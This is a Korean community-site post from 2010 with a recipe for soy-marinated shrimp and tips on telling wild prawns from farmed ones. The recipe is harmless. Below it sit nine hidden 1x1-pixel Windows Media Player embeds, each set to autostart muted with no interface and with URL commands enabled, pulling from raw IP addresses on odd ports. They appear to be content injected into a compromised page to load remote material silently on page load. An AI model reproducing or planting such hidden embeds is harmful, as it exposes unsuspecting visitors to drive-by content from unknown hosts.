앙큼한 밥도둑 새우장 만들기 [영국대표 한인신문]

뉴스

포토

커뮤니티

구인

전화번호

지난신문보기

랭킹 베스트

풍경/여행

화제/토픽

유머/엽기

연예/스타

섹시/미녀

만화/캐릭터

음식/먹거리

영화/비디오

음악/MV

지구촌 한인

책/잡지

재미넷 ≫ 음식/먹거리

재미넷 랭킹 베스트

조회수 베스트

	이명박 "기왕 이렇게 된 거.." 논란,.. 2
	바람으로 움직이는 ???? 3
	재미있는 사진 모음 5
	크로아티아의 환상적인 폭포 4
	환상적인 그리스 해안 Greek Coas.. 3


앙큼한 밥도둑 새우장 만들기
2010-11-03, 17:20:49 엔젤틱스	추천수 : 232 \| 조회수 : 2294

◈ 제 철 맞은 대하로, 앙큼한 밥도둑 새우장 만들기 ◈ 요리 포스팅전에 자연산 새우와 양식새우를 살짝 비교하여 보려고 해요. 전문적이지는 않지만 참고하여 보시면 나중에라도 파는것이 자연산인지 양식인지 구별하는데 도움이 되실거랍니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_4?1283700700.jpg"> 자연산 새우사진이예요. 새우몸통의 양식새우에 비해 색이 진고 수염길이가 길답니다. 또한 새우의 크기가 일정치 않고 붉은색이 나며. 작은것과 큰것의 차이가 많이 난답니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_19?1283700700.jpg"> 요것은! 양식새우예요. 자연산새우보다 회색빛이 많이 나고, 크기가 일정하며 살짝 투명한 느낌이 납니다. 사진을 보면 자연산과 양식이 금세 구별이 가지요? ^^ <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_18?1283700700.jpg"> [재료] 대하 1키로, 간장 2컵, 생강맛술 3분의2컵, 올리고당 [맛국물] 물 6~7컵, 건표고버섯 3개, 다시멸치 10마리, 마른새우 약간, 통후추, 마른고추 2개, [채소] 양파 1개, 아삭이고추 4~5개, 마늘 1통, 생강 약간, 레몬1개 대하장을 만들기전에 맛간장을 만들어 줄건데요~ 새우 손질을 하기전에 버섯 새우, 멸치, 건고추를 넣어 3분의1이 남을때까지 끓이고, 건더기를 건지고 식힌다. * 위에 간은 조금 삼삼한 정도예요.    담구어서 나누어 발리 먹을 것이라 비교적 싱겁게 만들었는데    두고 드실거라면 개인의 입맛에 따라 간장의 양을 늘리시면 됩니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_5?1283700700.jpg"> 맛국물이 식는동안 새우손질을 한다. 오늘은 아주 싱싱한 (대하)새우를 이용하여 만들거랍니다. * 새우의 눈이 거슬리면~ㅎㅎ    손질할때 반정도 자른뒤에 조리를 하시면 되요. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_2?1283700700.jpg"> 식가위를 이용하여 새우의 수염과 다리를 자르고 등껍질 두번째 마디에서 내장을 꺼낸뒤에 소금물에 흔들어 씻는다. * 내장을 밸때는 뽀족한 이쑤시개를 이용한다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_6?1283700700.jpg"> 새우를 체에 받쳐 물기를 털어준다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_9?1283700700.jpg"> 마무리 손질은 종이타올을 이용하여 물기를 말끔이 씻어주면 된답니다. * 물기가 있으면 빨리 상한답니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_17?1283700700.jpg"> 마늘과 생강은 저며썰고, 레몬은 4등분하고, 양파와 고추는 한 입 크기로 자르면 됩니다. 고추는 맵지 않는 아삭이 고추예요. 새우와 함께 짱아치로 담아도 아삭아삭 맛있답니다. <IMG border=0 hspace=0 alt="" src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_16?1283700700.jpg" width=197 height=131> <IMG border=0 hspace=0 alt="" src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_14?1283700700.jpg" width=197 height=131> <IMG border=0 hspace=0 alt="" src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_12?1283700700.jpg" width=197 height=131> 글라스락에 완전히 식은 육수에 간장과 맛술을 넣은뒤에 올리고당을 넣어 단맛을 맞춘다. 맛간장이 완성이 되면 양파, 고추, 레몬을 넣어주고, <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_8?1283700700.jpg"> 손질한 대하를 넣어줍니다. <IMG border=0 hspace=0 alt="" src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_10?1283700700.jpg" width=298 height=198> <IMG border=0 hspace=0 alt="" src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_0?1283700700.jpg" width=298 height=198> 위에 준비한 양파와 고추를 넣으면 끝~ㅎㅎ 측면을 보면 새우가 얌전히 가라앉아 있답니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_3?1283700700.jpg"> 이렇게 담은 대하장은 뚜껑을 덮어서 냉장고에 바로 넣어주세요. 3일정도 있으면 간이 배기 시작을 하는데 ~ 양념장만 따라내어 끓인뒤에 다시 부어줍니다. 간장을 다시 붙고 3일정도만 있으면 간이 아주 맛있게 든답니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_11?1283700700.jpg"> 간이 잘 들은 새우살을  쏙쏙 빼먹는 맛을  어떻게 표현해야 할까요? 음~ 통통하고 쫄깃한 새우살이 입에 들어 가면 밥이 절로 넘어 갑니다. 술술~이라고 할까요? 요거이 앙큼한 밥도둑중에 하나랍니다. <IMG border=0 src="http://img.blog.yahoo.co.kr/ybi/1/0c/9e/yaggo_21/folder/2810538/img_2810538_1148381_13?1283700700.jpg"> 함께 넣은 고추와 양파도 아삭아삭~ 새우와 먹는맛이 그만이랍니다. 
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://121.88.250.93:8380/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://119.207.75.234:1080/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://119.207.75.231:1060/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://119.207.75.231:8190/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://119.207.75.238:6490/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://119.207.75.238:2180/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://222.103.41.64:8042/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://222.103.41.64:8012/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>.
<OBJECT style="POSITION: absolute; TOP: 0px; center: 0px" id=VIDEO classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=1 height=1 type=application/x-oleobject><PARAM NAME="URL" VALUE="http://222.103.41.64:8044/"><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="9999"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="0"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="none"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"><PARAM NAME="_cx" VALUE="26"><PARAM NAME="_cy" VALUE="26"></OBJECT>

플러스 광고

의견목록 [의견수 : 0]


등록된 의견이 없습니다.

이름

비밀번호


번호	제목	글쓴이	날짜	추천	조회

페이지 : 39 / 8 ◀

전체 제목 글쓴이